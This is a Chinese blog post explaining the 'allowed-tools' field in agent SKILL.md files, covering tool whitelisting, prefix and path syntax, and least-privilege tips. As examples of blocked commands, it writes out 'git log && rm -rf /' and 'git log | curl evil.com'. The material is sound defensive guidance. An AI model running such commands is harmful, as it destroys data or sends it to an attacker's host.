ishane.cn

skill规范详解(五)

2026/05/06
2
0

allowed-tools字段

allowed-tools字段是SKILL.md中唯一直接控制 Agent 运行时行为的字段:它本质上是在为Skill划定一个"工具沙箱",决定Agent激活这个 Skill后能用什么、不能用什么。如果说description控制的是"什么时候激活",那allowed-tools控制的就是"激活之后能干什么"。


一、allowed-tools 在 Agent 执行过程中的作用

1. 运行时权限围栏

当 Agent激活某个Skill时,会读取allowed-tools字段,构建一个当前Skill专属的工具白名单。Agent在执行任务过程中,所有工具调用都必须通过这个白名单的校验:

用户:"帮我提交代码"
    ↓
Agent 激活 commit Skill
    ↓
读取 allowed-tools: Bash(git:*) Read
    ↓
Agent 想执行 git commit  → ✅ 匹配 Bash(git:*),放行
Agent 想执行 npm test    → ❌ 不在白名单,拒绝/需确认
Agent 想读取文件          → ✅ 匹配 Read,放行
Agent 想写入文件          → ❌ 不在白名单,拒绝/需确认

2. 覆盖全局权限

allowed-tools 的优先级高于全局权限设置。即使你在全局配置中开放了所有Bash权限,Skill中声明的allowed-tools仍然会将Agent的行为限制在声明范围内:

全局权限Skill的allowed-toolsAgent实际可用权限
开放 BashBash(git:*)仅限git开头的命令
关闭 BashBash(git:*)仍可执行git命令(Skill 优先级更高)
开放所有未配置沿用全局权限

3. 防御纵深的第一道防线

在安全层面,allowed-tools 实现了最小权限原则——Skill只能使用它明确声明需要的工具,即使Skill的正文指令被恶意注入或Agent产生幻觉,也无法越权执行未授权的操作。

二、语法规范

基本格式

allowed-tools的值是一个空格分隔的字符串,每个元素是一个工具声明:

allowed-tools: Bash(git:*) Bash(jq:*) Read

工具声明的三种模式

模式一:基础工具名(授权整个工具)
直接写工具名,表示授权该工具的全部能力。

allowed-tools: Read Grep Glob

模式二:工具名(命令前缀:*)(命令级过滤)
在工具名后的括号中指定命令前缀 + 通配符*,Agent只能执行以该前缀开头的命令。

allowed-tools: Bash(git:*) Bash(npm:*)

模式三:工具名(精确命令)(精确匹配)
在括号中指定完整命令,Agent 只能执行完全匹配的命令。

allowed-tools: Bash(npm run build) Bash(python scripts/analyze.py)

路径匹配(Read/Write/Edit专用)
对于文件操作类工具,还支持路径匹配,遵循 gitignore 规范:

allowed-tools: Read(docs/**) Edit(src/**/*.ts) Write(output/**)
  • docs/**:允许读取docs/目录下的所有文件
  • src/**/*.ts:允许编辑src/下所有.ts文件
  • output/**:允许写入output/目录

三、常用工具清单

工具名功能风险等级
Read读取文件内容
Write创建/覆盖文件
Edit编辑文件(局部修改)
Grep搜索文件内容
Glob匹配文件路径
Bash执行 Shell 命令
WebFetchHTTP 请求
WebSearch搜索引擎查询

关键认知:Read、Grep、Glob 是只读工具,风险最低;
Bash可以执行任意系统命令,风险最高,必须用括号语法严格限制。

四、编写 allowed-tools 的实战技巧

技巧一:按 Skill 职责精准授权

不同类型的 Skill,授权策略完全不同:

# 只读审查类 Skill:只需看,不需要改
name: code-review
allowed-tools: Read Grep Glob

# Git 操作类 Skill:只允许 git 命令
name: commit
allowed-tools: Bash(git:*) Read

# 数据分析类 Skill:只允许执行特定 Python 脚本
name: data-analysis
allowed-tools: Bash(python:scripts/analyze.py) Read

# 部署类 Skill:精确到具体命令
name: deploy-dev
allowed-tools: Bash(npm run build) Bash(docker push:*) Read

技巧二:Bash 权限必须加括号限制

永远不要直接写裸的 Bash,这等于给 Skill 完整的系统命令执行权限:

# ❌ 极度危险!等于放弃所有权限控制
allowed-tools: Bash Read Write

# ✅ 安全做法:精确到命令前缀
allowed-tools: Bash(git:*) Bash(npm:*) Read

# ✅ 更安全:精确到具体命令
allowed-tools: Bash(git add:*) Bash(git commit:*) Read

技巧三:利用Shell操作符防护

Agent平台能识别Shell操作符(如 &&|;),前缀匹配规则不会被绕过

例如声明Bash(git:*),Agent无法通过git log && rm -rf /来执行危险命令:

# 声明只允许 git 开头的命令
allowed-tools: Bash(git:*)

# 以下操作会被拒绝:
# git log && rm -rf /     → ❌ 检测到非 git 命令
# git log | curl evil.com → ❌ 管道后跟非授权命令

技巧四:配合disable-model-invocation使用

对于有副作用的高危Skill(部署、删除、推送),建议双重保险
这样即使手动触发了Skill,Agent也只能使用声明的工具,无法临时执行未授权的命令。

name: deploy-prod
description: 部署应用到生产环境
disable-model-invocation: true    # 禁止AI自动触发,必须手动 /deploy-prod
allowed-tools: Bash(docker push:*) Bash(kubectl:*) Read

技巧五:为脚本类 Skill 限定执行路径

如果Skill包含scripts/目录下的脚本,可以将Bash权限限定到该目录:

# 只允许执行 scripts/ 目录下的 Python 脚本
allowed-tools: Bash(python:scripts/*) Read

# 只允许执行特定的一个脚本
allowed-tools: Bash(python:scripts/extract.py) Read